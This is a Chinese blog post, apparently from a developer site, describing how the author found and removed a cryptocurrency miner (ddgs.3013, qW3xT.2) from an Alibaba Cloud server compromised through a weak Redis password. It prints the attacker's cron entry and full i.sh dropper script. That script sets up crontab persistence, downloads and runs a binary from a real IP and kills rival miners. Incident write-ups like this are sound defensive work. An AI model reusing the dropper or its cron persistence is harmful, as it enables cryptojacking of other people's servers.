emmm,长话短说,阿里云服务器被挂矿机了。

背景

事情还得从两三天前说起。7-31阿里云给我发了一个短信。

我还专门和朋友谈(chao)论(feng)Root被提权是什么鬼逻辑,然后就没理。。因为服务器是自己玩的用,开发阶段给前端暴露api用的,没什么重要的数据。然后:

这个短信又发生在8-2号,What,大男子主义上来了,觉得这13有点过分了,有点变本加厉的意思了,然后就说去看看。(当时第一想法就是去看看进程有啥异样)

看一看

wtf,简直不要13 face,cpu占用99.3%,那我用0.7%吗。

.ssh目录看看
[root@FantJ .ssh]# ls
authorized_keys
复制代码

这可是无密登录的钥匙啊!用于主机之间的无密通信。果断删。

查查这个命令在哪
[root@FantJ ~]# find / -name qW3xT*
/tmp/qW3xT.2
复制代码
捕捉异常

我为什么会针对它:

  1. PID号很大,证明是新线程
  2. 每次我kill了矿机,它就会执行,然后就消失。(后面会证明这个言论)
  3. 从cpu的稳定来看,没有执行新指令cpu一般均衡。

杀除相关进程

 1022  ps -aux|grep ddg1023  kill 119381024  kill 27507
复制代码

寻找ddgs.3013

[root@FantJ ~]# find / -name ddgs.3013
/tmp/ddgs.3013
复制代码

定时任务?

干了前面觉得还是没有弄干净,所以我想去看看定时任务列表。

[root@FantJ tmp]# crontab -l*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
复制代码

emmm,这一刻真是激动和喜悦。

curl 的这几个 optional 介绍,我也是百度的
-f  - fail在HTTP错误(H)上静默失败(根本没有输出)
-s  -silent静音模式。 不要输出任何东西--socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理--socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理--socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理--socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理--socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称--socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S   --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L   --location遵循重定向(H)--location-trusted like --location并将auth发送给其他主机(H)
复制代码
[root@FantJ tmp]# crontab -r
[root@FantJ tmp]# crontab -l
no crontab for root
复制代码

那又得查查这个i.sh了,突然想起有个定时任务,然后我把定时任务的job运行了以下:

[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/rootmkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/rootps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; thencurl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
复制代码

注意这个命令不会下载和执行sh脚本。因为我把管道符去掉了。看到的仅仅是打印的信息。 大概说下这个脚本的意思:

  1. 设置环境变量,写定时任务
  2. 查看ddgs.3013进程,如果没有该进程,重新下载该文件,然后给它加执行权限,并执行。
  3. 批量根据关键字杀进程。

我发现有个grep minexmr.com.打开一看,其他网站同理。

反思

问题解决了,过段时间再看看进程情况,应该是没有了,可以说杀的挺彻底了。那么这问题为什么会出现呢。

还得回到阿里云给我的提示:redis。因为自己玩,所以redis的密码我设置的很简单root,被扫到也是很不费劲的事,然后我把密码进行改正。(通过配置文件requirepass或者redis-cli``config set requirepass xxxx),更安全的话,把bindIp设置成自己用的,然后更改默认端口。我没有重要数据,所以稍微意思下就行了,下次再来我再折腾。

不过这个13有个很良心的操作,就是没有删我的redis的keys,很有职业操守。但是还是被金钱奴隶。

Emm,qW3xT.2(矿机进程)相关推荐

  1. qW3xT.6解决挖矿病毒 - 云服务器被植入挖矿脚本成为矿机

    ## qW3xT.6解决挖矿病毒 - 云服务器被植入挖矿脚本成为矿机 > 之前由于goblog应用因为不知名问题导致程序crash,之前只检查过云服务内存的情况,但是其他信息暂未检查,今天远程到 ...

  2. 最近总蓝屏死机,发现是其中一个svchost进程一直占用我cpu使用率25%导致机器非常热,散热风扇狂转,像被人当矿机了

    最近总蓝屏死机,发现是其中一个svchost进程一直占用我cpu使用率25%导致机器非常热,散热风扇狂转,像被人当矿机了,断网1,2分钟就会好,连接网络几分钟就又开始了,结束我的这个进程,过一会又开始 ...

  3. 记一次CentOS7因Redis配置不当导致被Root提权沦为矿机修复过程

    未曾想过,那些年影视剧中黑客们的精彩桥段,竟在2020这个充满魔幻的年份,变成了现实. 前几日傍晚突然收到了来自阿里云安全中心的提醒,服务器疑似受到攻击了.想不到我那用作学习的机器,有朝一日竟然沦为矿 ...

  4. [转]记一次linux(被)入侵,服务器变矿机~

    0x00 背景 周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了.不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对 ...

  5. 记一次Linux被入侵,服务器变“矿机”全过程

    周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了. 不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包. ...

  6. 无意间发现我的一台云服用器中了矿机xmrig的毒,哎!!

    矿机自己平时用来做测试的一台机器,所以也没做什么防护,今天上去无意见看到有一个xmrig进程cpu 99%, Xmrig是啥? 原来是矿机,还用的root干的,我花的银子买的机器,天天给人挖矿,    ...

  7. syst3md矿机病毒及解决办法

    创建于 2021年11月17日 作者:想想 文章目录 syst3md矿机病毒及解决办法 1.top 查看cpu占用情况 2.查看定时任务 3.查看程序位置 4.杀进程 5.扩展 syst3md矿机病毒 ...

  8. 比特大陆发布蚂蚁矿机S17 Pro,搭载第二代7nm芯片

    雷锋网AI金融评论4月8日消息,加密货币矿机公司比特大陆今日正式发布蚂蚁矿机新品Antminer S17 Pro.比特大陆介绍称,这是其迄今为止性能最强的SHA256算法矿机,可支持BTC.BCH等加 ...

  9. 比特大陆发布蚂蚁矿机S17 Pro,搭载第二代7nm芯片...

    雷锋网AI金融评论4月8日消息,加密货币矿机公司比特大陆今日正式发布蚂蚁矿机新品Antminer S17 Pro.比特大陆介绍称,这是其迄今为止性能最强的SHA256算法矿机,可支持BTC.BCH等加 ...

最新文章

  1. 【Pandas库】(3) DataFrame的创建方法及基本操作
  2. 王洪超:WPF催熟整个软件生态链
  3. 计算机网络管理考试价格,2021年计算机网络管理员考试模拟试题库和答案...doc...
  4. 我的vscode配置 利用Settings Sync一键安装
  5. 深入浅出 Java 中的包装类
  6. ZeroMQ简介:一种高性能的异步消息传递库
  7. 逻辑漏洞-支付风险-大疆某处支付逻辑漏洞可1元买无人机
  8. php.ini 设置内存,php.ini怎么进行内存设置
  9. 转载explicit关键字
  10. 改进的协同过滤推荐算法
  11. 电工与电子技术基础【2】
  12. 用matlab算特征值,用Matlab用计算特征值和特征向量
  13. 生存分析第四课:Cox Proportional hazards model
  14. .NET Reflector(.net反编译工具) v10.0.7.774 特别版(附破解步骤+注册机)
  15. Mysql COUNT()条件计数
  16. Python_argparse.Argumentparser()
  17. 推荐一个在线音乐插件
  18. Resources文件夹
  19. 计算机应用安全检查通报,Microsoft 安全通报 4092731
  20. 机器学习实战——特征工程之关联规则

热门文章

  1. 使用WebRTC搭建前端视频聊天室——数据通道篇
  2. rpm包安装mysql5.6
  3. Visual C++ 对话框增加菜单栏
  4. 使用JAXP对xml文档进行DOM解析基础
  5. go chapter 8 - 初始化对象
  6. tomcat-在cmd窗口启动Tomcat
  7. 阿里巴巴2014校招笔试错误汇总
  8. 有道词典 纯净版 - imsoft.cnblogs
  9. HTML与CSS(图解4):表格
  10. C语言中auto,register,static,const,volatile的区别